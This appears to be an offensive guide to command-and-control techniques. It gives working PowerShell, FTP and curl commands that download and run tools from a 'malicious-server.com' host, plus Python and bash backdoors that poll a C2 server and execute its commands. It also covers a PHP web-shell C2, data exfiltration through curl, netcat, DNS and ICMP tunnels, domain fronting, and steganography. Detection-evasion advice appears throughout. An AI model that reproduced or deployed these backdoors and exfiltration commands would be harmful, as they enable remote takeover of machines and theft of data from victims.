Command and Control

Command and Control: Ingress Tool Transfer

To maintain control and update the malware, the attacker uses ingress tool transfer techniques through secure and commonly allowed protocols such as HTTPS or FTP. Here’s how to do this using the command line:

  1. Using PowerShell to Download Tools Over HTTPS:

    • PowerShell can be used to securely download tools and payloads via HTTPS.

    Example command to download a file using Invoke-WebRequest:

    Invoke-WebRequest -Uri "https://malicious-server.com/tool.exe" -OutFile "C:\Windows\Temp\tool.exe"
    • To ensure the download is secure and avoid detection, you can use PowerShell to download and execute the tool immediately:

    $url = "https://malicious-server.com/tool.exe"
    $output = "C:\Windows\Temp\tool.exe"
    Invoke-WebRequest -Uri $url -OutFile $output
    Start-Process $output -NoNewWindow -Wait
  2. Using FTP to Transfer Tools:

    • If FTP is allowed, use the built-in ftp command to transfer tools.

    Example commands:

    echo open ftp.malicious-server.com> ftp.txt
    echo user malicious_user malicious_password>> ftp.txt
    echo binary>> ftp.txt
    echo get tool.exe>> ftp.txt
    echo bye>> ftp.txt
    ftp -s:ftp.txt
    • This script connects to the FTP server, logs in with credentials, and downloads the tool.exe file.

  3. Using cURL to Download Tools Over HTTPS:

    • cURL is a versatile command-line tool for transferring data using various protocols.

    Example command to download a file using cURL:

    curl -o C:\Windows\Temp\tool.exe https://malicious-server.com/tool.exe

Command and Control: Web Protocols

  1. Setting Up the C2 Server: First, you need to set up a C2 server that will act as the control point for your backdoor. This server can be a regular web server configured to accept HTTPS connections. You can use a web server software like Apache or Nginx. Ensure that the server has a valid SSL/TLS certificate for HTTPS communication.

sudo apt-get install apache2
sudo apt-get install openssl
sudo a2enmod ssl
sudo systemctl restart apache2
sudo mkdir /etc/apache2/ssl
sudo openssl req -newkey rsa:2048 -nodes -keyout /etc/apache2/ssl/c2server.key -x509 -days 365 -out /etc/apache2/ssl/c2server.crt
sudo bash -c 'cat <<EOF > /etc/apache2/sites-available/default-ssl.conf
<IfModule mod_ssl.c>
   <VirtualHost _default_:443>
      ServerAdmin admin@example.com
      DocumentRoot /var/www/html
      SSLEngine on
      SSLCertificateFile /etc/apache2/ssl/c2server.crt
      SSLCertificateKeyFile /etc/apache2/ssl/c2server.key
      <FilesMatch "\.(cgi|shtml|phtml|php)$">
         SSLOptions +StdEnvVars
      </FilesMatch>
      <Directory /usr/lib/cgi-bin>
         SSLOptions +StdEnvVars
      </Directory>
      BrowserMatch "MSIE [2-6]" \
         nokeepalive ssl-unclean-shutdown \
         downgrade-1.0 force-response-1.0
      # MSIE 7 and newer should be able to use keepalive
      BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
   </VirtualHost>
</IfModule>
EOF'
sudo a2ensite default-ssl
sudo systemctl reload apache2
  1. Creating the Backdoor: Write a backdoor script that communicates with the C2 server over HTTPS. The backdoor should send HTTP POST requests to the server and handle responses accordingly. Below is an example in Python:

import requests
import os

C2_URL = 'https://your-c2-server.com'

def get_command():
    response = requests.get(f'{C2_URL}/command')
    if response.status_code == 200:
        return response.text
    return None

def send_response(data):
    response = requests.post(f'{C2_URL}/response', data={'response': data})
    return response.status_code == 200

while True:
    command = get_command()
    if command:
        output = os.popen(command).read()
        send_response(output)
  1. Ensuring Encrypted Communications: By using HTTPS, the communications are encrypted using SSL/TLS. This ensures that data transferred between the victim's machine and the C2 server is not easily intercepted or deciphered.

  2. Employing Domain Fronting: Domain fronting involves routing your traffic through legitimate domains to disguise it. This is usually done by manipulating the HTTP headers. You can use a service like Cloudflare to achieve this. Here’s an example using the requests library to implement domain fronting:

    import requests
    
    C2_FRONT_DOMAIN = 'www.front-domain.com'
    C2_URL = 'https://your-c2-server.com'
    
    def get_command():
        headers = {'Host': 'your-c2-server.com'}
        response = requests.get(f'https://{C2_FRONT_DOMAIN}/command', headers=headers)
        if response.status_code == 200:
            return response.text
        return None
    
    def send_response(data):
        headers = {'Host': 'your-c2-server.com'}
        response = requests.post(f'https://{C2_FRONT_DOMAIN}/response', headers=headers, data={'response': data})
        return response.status_code == 200
    
    while True:
        command = get_command()
        if command:
            output = os.popen(command).read()
            send_response(output)

    In this script, C2_FRONT_DOMAIN is a legitimate domain that proxies the traffic to your actual C2 server. This helps in evading detection as the traffic appears to be going to a legitimate service.

Command and Control: Encrypted Channel: Symmetric Cryptography

Setting Up the C2 Server

  1. Install Necessary Software: Set up a web server and install necessary cryptographic libraries.

    sudo apt-get install apache2
    sudo apt-get install python3-pip
    sudo pip3 install flask pycryptodome
  2. Create the C2 Server Script: Write a Flask application to handle encrypted communications.

    from flask import Flask, request, jsonify
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    import base64
    
    app = Flask(__name__)
    key = b'Sixteen byte key'  # Ensure this key is kept secret and secure
    
    def encrypt_data(data):
        cipher = AES.new(key, AES.MODE_CBC)
        ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
        iv = base64.b64encode(cipher.iv).decode('utf-8')
        ct = base64.b64encode(ct_bytes).decode('utf-8')
        return iv + ct
    
    def decrypt_data(data):
        iv = base64.b64decode(data[:24])
        ct = base64.b64decode(data[24:])
        cipher = AES.new(key, AES.MODE_CBC, iv)
        pt = unpad(cipher.decrypt(ct), AES.block_size)
        return pt.decode('utf-8')
    
    @app.route('/command', methods=['GET'])
    def get_command():
        command = "hostname"  # Replace with actual command retrieval logic
        encrypted_command = encrypt_data(command)
        return jsonify({'command': encrypted_command})
    
    @app.route('/response', methods=['POST'])
    def post_response():
        data = request.json.get('response')
        decrypted_response = decrypt_data(data)
        print(f"Response: {decrypted_response}")
        return '', 200
    
    if __name__ == '__main__':
        app.run(ssl_context=('path/to/cert.pem', 'path/to/key.pem'))
  3. Start the C2 Server: Ensure the Flask application runs over HTTPS for encrypted transport.

    python3 c2_server.py

Creating the Backdoor

  1. Install Necessary Libraries: Ensure the target machine has the required libraries.

    sudo pip3 install requests pycryptodome
  2. Write the Backdoor Script: Create a Python script that communicates with the C2 server, using AES encryption for data.

    import requests
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    import base64
    import os
    
    C2_URL = 'https://your-c2-server.com'
    key = b'Sixteen byte key'  # This should match the server key
    
    def encrypt_data(data):
        cipher = AES.new(key, AES.MODE_CBC)
        ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
        iv = base64.b64encode(cipher.iv).decode('utf-8')
        ct = base64.b64encode(ct_bytes).decode('utf-8')
        return iv + ct
    
    def decrypt_data(data):
        iv = base64.b64decode(data[:24])
        ct = base64.b64decode(data[24:])
        cipher = AES.new(key, AES.MODE_CBC, iv)
        pt = unpad(cipher.decrypt(ct), AES.block_size)
        return pt.decode('utf-8')
    
    def get_command():
        response = requests.get(f'{C2_URL}/command')
        if response.status_code == 200:
            data = response.json().get('command')
            return decrypt_data(data)
        return None
    
    def send_response(data):
        encrypted_data = encrypt_data(data)
        response = requests.post(f'{C2_URL}/response', json={'response': encrypted_data})
        return response.status_code == 200
    
    while True:
        command = get_command()
        if command:
            output = os.popen(command).read()
            send_response(output)

Command and Control: Data Encoding: Standard Encoding

Step 1: Data Encoding with Base64

Base64 encoding is a common technique to encode binary data into ASCII text, which makes it easier to transmit over text-based protocols. Here’s how you can encode data using base64 on the command line:

  1. Encode a File Using Base64:

    • You can use the base64 command to encode a file. For example, to encode a file named data.txt, you would use:

      base64 data.txt > encoded_data.txt
    • This command reads the contents of data.txt, encodes it in base64, and writes the encoded data to encoded_data.txt.

  2. Decode a Base64 Encoded File:

    • To decode a base64 encoded file back to its original form, use the -d flag:

      base64 -d encoded_data.txt > decoded_data.txt

Step 2: Sending Encoded Data over the Network

Once the data is encoded, you can send it over the network to your C2 server. Here is a basic example using curl to POST the encoded data:

curl -X POST -d @encoded_data.txt http://c2server.com/receive

This command posts the contents of encoded_data.txt to the specified URL.

Step 3: Hiding Encoded Data with Steganography

To further conceal the encoded data, you can use steganography to hide it within an innocuous file, such as an image. One common tool for this is steghide.

  1. Install Steghide:

    • You can install steghide using the package manager for your system. For instance, on Debian-based systems:

      sudo apt-get install steghide
  2. Embed Encoded Data in an Image:

    • To hide the encoded_data.txt within an image file image.jpg, use:

      steghide embed -cf image.jpg -ef encoded_data.txt -sf output.jpg
    • This command embeds the contents of encoded_data.txt into image.jpg, creating a new image file output.jpg that contains the hidden data.

  3. Extract Data from an Image:

    • To retrieve the hidden data from the image, use:

      steghide extract -sf output.jpg -xf extracted_data.txt
    • This extracts the hidden data from output.jpg and saves it to extracted_data.txt.

Command and Control: Non-Application Layer Protocol

Step 1: Understanding ICMP Tunneling

ICMP tunneling involves encapsulating data within ICMP packets, which are typically used for diagnostic or control purposes. Tools such as icmpsh, Ptunnel, or custom scripts can be used to establish an ICMP tunnel. In this guide, we'll use icmpsh as an example tool for ICMP tunneling.

Step 2: Setting Up the Environment

  1. Install Required Tools:

    • Ensure you have the necessary tools installed on both the client (attacker) and the server (C2 server). You can download icmpsh from its repository.

    git clone https://github.com/inquisb/icmpsh.git
    cd icmpsh

Step 3: Running ICMP Tunneling

On the C2 Server

  1. Start the ICMP Listener:

    • Run the ICMP listener on the server. This will listen for ICMP echo requests from the client and respond accordingly.

    sudo python3 icmpsh/icmpsh_m.py -s <Server_IP> -c <Client_IP>

    Replace <Server_IP> with the IP address of the C2 server and <Client_IP> with the IP address of the attacking client.

On the Attacking Client

  1. Start the ICMP Shell:

    • On the client machine, start the ICMP shell to communicate with the server.

    sudo python3 icmpsh/icmpsh.py -t <Server_IP>

    Replace <Server_IP> with the IP address of the C2 server.

Step 4: Sending Commands and Receiving Responses

  1. Interact with the C2 Server:

    • Once the ICMP tunnel is established, you can send commands from the client to the server. The server will execute the commands and send back the responses encapsulated in ICMP packets.

    For example, on the client, you might see a prompt where you can type commands:

    icmpsh> ls
    icmpsh> cat /etc/passwd
  2. Receive Responses:

    • The server processes these commands and sends the results back to the client within ICMP echo replies.

Step 5: Stealth Considerations

  1. Stealth Measures:

    • To enhance stealth, consider varying the timing and size of ICMP packets, encrypting the payload, and ensuring that the ICMP traffic blends in with normal network behavior.

Command and Control: Asymmetric Cryptography

Step 1: Generate Public and Private Keys

  1. Install OpenSSL: Ensure OpenSSL is installed on both the attacker's machine and the compromised systems.

    sudo apt-get install openssl
  2. Generate a Private Key: On the attacker's machine, generate a private key. This key will be used to decrypt the data sent from the compromised systems.

    openssl genpkey -algorithm RSA -out private_key.pem -aes256

    This command generates a 2048-bit RSA private key and saves it to private_key.pem, encrypting it with AES-256 for added security.

  3. Generate a Public Key: Extract the corresponding public key from the private key. This key will be distributed to the compromised systems.

    openssl rsa -pubout -in private_key.pem -out public_key.pem

    This command reads the private key from private_key.pem and writes the public key to public_key.pem.

Step 2: Encrypt Data on the Compromised System

On each compromised system, use the public key to encrypt outbound communication. The following steps assume you have a file data.txt containing the data you wish to send.

  1. Encrypt Data: Use the public key to encrypt the data file.

    openssl rsautl -encrypt -inkey public_key.pem -pubin -in data.txt -out encrypted_data.bin

    This command encrypts data.txt using public_key.pem and writes the encrypted data to encrypted_data.bin.

Step 3: Transmit Encrypted Data

Send the encrypted data (encrypted_data.bin) to the C2 server. This can be done using any network communication tool such as curl or nc (netcat).

  1. Using curl:

    curl -X POST -d @encrypted_data.bin http://c2server.com/receive
  2. Using nc (netcat):

    nc c2server.com 4444 < encrypted_data.bin

Step 4: Decrypt Data on the C2 Server

On the attacker's C2 server, use the private key to decrypt the received data.

  1. Decrypt Data: After receiving the encrypted_data.bin, decrypt it using the private key.

    openssl rsautl -decrypt -inkey private_key.pem -in encrypted_data.bin -out decrypted_data.txt

    This command reads encrypted_data.bin, decrypts it using private_key.pem, and writes the original data to decrypted_data.txt.

Command and Control: Application Layer Protocol: DNS

Step 1: Set Up a DNS Server

First, the attacker needs to set up a DNS server to handle the encoded data. You can use bind9 or another DNS server software for this purpose.

  1. Install bind9:

    sudo apt-get install bind9
  2. Configure the DNS Server:

    Edit the named.conf.local file to set up the DNS zones. Here’s an example configuration:

    zone "maliciousdomain.com" {
        type master;
        file "/etc/bind/db.maliciousdomain.com";
    };

    Create the zone file /etc/bind/db.maliciousdomain.com:

    $TTL    604800
    @       IN      SOA     ns.maliciousdomain.com. root.maliciousdomain.com. (
                          2         ; Serial
                     604800         ; Refresh
                      86400         ; Retry
                    2419200         ; Expire
                     604800 )       ; Negative Cache TTL
    ;
    @       IN      NS      ns.maliciousdomain.com.
    ns      IN      A       <DNS_Server_IP>

    Replace <DNS_Server_IP> with the IP address of your DNS server.

Step 2: Encode Commands and Data into DNS Queries

On the compromised machine, encode the commands or data into DNS queries. For example, to encode the command ls:

  1. Base64 Encode the Command:

    echo -n "ls" | base64

    This might output something like bHM=.

  2. Create a DNS Query:

    Use dig to send the encoded data as part of a subdomain to the malicious DNS server:

    dig bHM=.maliciousdomain.com @<DNS_Server_IP>

    Replace <DNS_Server_IP> with the IP address of your DNS server.

Step 3: Decode and Execute Commands on the DNS Server

On the DNS server, you need a mechanism to decode the received data and execute it. This can be done using a script or custom DNS server software that intercepts the queries.

  1. Script to Decode and Execute:

    Create a script to intercept DNS queries and handle the encoded commands:

    #!/bin/bash
    while true; do
        tshark -i eth0 -f "udp port 53" -Y "dns.qry.name contains 'maliciousdomain.com'" -T fields -e dns.qry.name | while read -r line; do
            cmd=$(echo "${line%%.*}" | base64 --decode)
            result=$(eval "$cmd" 2>&1)
            echo $result > /tmp/result.txt
            # Respond to the DNS query with the result, e.g., using dnsspoof or custom code
        done
    done

    This script uses tshark to monitor DNS queries, extracts the base64-encoded command, decodes it, executes it, and saves the result to a file.

Step 4: Return Results via DNS Responses

To send the results back, you can encode the output in DNS responses:

  1. Encode the Result:

    result=$(cat /tmp/result.txt)
    encoded_result=$(echo -n "$result" | base64)
  2. Respond with the Encoded Data:

    Use nsupdate or custom DNS server code to craft a DNS response containing the encoded result.

Command and Control: Web Service: Bidirectional Communication

Step 1: Set Up the C2 Server

  1. Install Necessary Software: Ensure you have a web server installed on your C2 server. Apache or Nginx can be used. For this example, we'll use Apache.

    sudo apt-get update
    sudo apt-get install apache2
  2. Enable SSL/TLS: Configure HTTPS to encrypt communications. You can use Let's Encrypt to obtain a free SSL certificate.

    sudo apt-get install certbot python3-certbot-apache
    sudo certbot --apache

    Follow the prompts to obtain and install the certificate.

  3. Create a Web Application for C2: Set up a simple web application to handle bidirectional communication. Create a directory for your C2 scripts.

    sudo mkdir /var/www/html/c2

    Create a PHP script c2.php to handle incoming requests:

    <?php
    $data = file_get_contents('php://input');
    $decoded = json_decode($data, true);
    
    // Handle command from the compromised system
    if (isset($decoded['command'])) {
        $command = $decoded['command'];
        $output = shell_exec($command);
        echo json_encode(['output' => $output]);
    }
    
    // Save uploaded data
    if (isset($decoded['upload'])) {
        file_put_contents('/var/www/html/c2/uploaded_data.txt', $decoded['upload']);
        echo json_encode(['status' => 'success']);
    }
    
    // Issue commands to compromised systems
    if (file_exists('/var/www/html/c2/commands.txt')) {
        $commands = file_get_contents('/var/www/html/c2/commands.txt');
        echo json_encode(['commands' => $commands]);
        unlink('/var/www/html/c2/commands.txt');
    }
    ?>

    Save this script in /var/www/html/c2/c2.php.

Step 2: Compromised System Communication

On the compromised system, use a script to communicate with the C2 server. The script will send system information, execute received commands, and upload data.

  1. Install curl:

    sudo apt-get install curl
  2. Create a Communication Script:

    Create a script c2_client.sh:

    #!/bin/bash
    
    C2_URL="https://your-c2-server.com/c2/c2.php"
    
    # Function to send data to C2 server
    send_data() {
        DATA=$1
        curl -k -X POST -H "Content-Type: application/json" -d "$DATA" $C2_URL
    }
    
    # Send system information to C2 server
    SYSTEM_INFO=$(uname -a)
    send_data "{\"upload\": \"$SYSTEM_INFO\"}"
    
    # Continuous loop to check for commands
    while true; do
        RESPONSE=$(curl -k -s $C2_URL)
        COMMAND=$(echo $RESPONSE | jq -r '.commands')
        
        if [ "$COMMAND" != "null" ]; then
            RESULT=$(eval $COMMAND)
            send_data "{\"command\": \"$COMMAND\", \"output\": \"$RESULT\"}"
        fi
        
        sleep 60
    done

    Make the script executable:

    chmod +x c2_client.sh

Step 3: Execute the Client Script

Run the c2_client.sh script on the compromised system:

./c2_client.sh

Step 4: Issuing Commands from the C2 Server

Create a text file commands.txt on the C2 server to issue commands to compromised systems:

echo "uname -a" > /var/www/html/c2/commands.txt

When the compromised system polls the C2 server, it will receive the command, execute it, and send back the output.

Step 5: Secure Communication

To ensure that the communication remains secure and blends in with normal web traffic, ensure the following:

  1. Use HTTPS: Encrypt all communications between the compromised system and the C2 server.

  2. Mimic Legitimate Traffic: Ensure the HTTP requests and responses appear similar to normal web traffic. For example, use standard headers and user-agents in the curl requests.

Last updated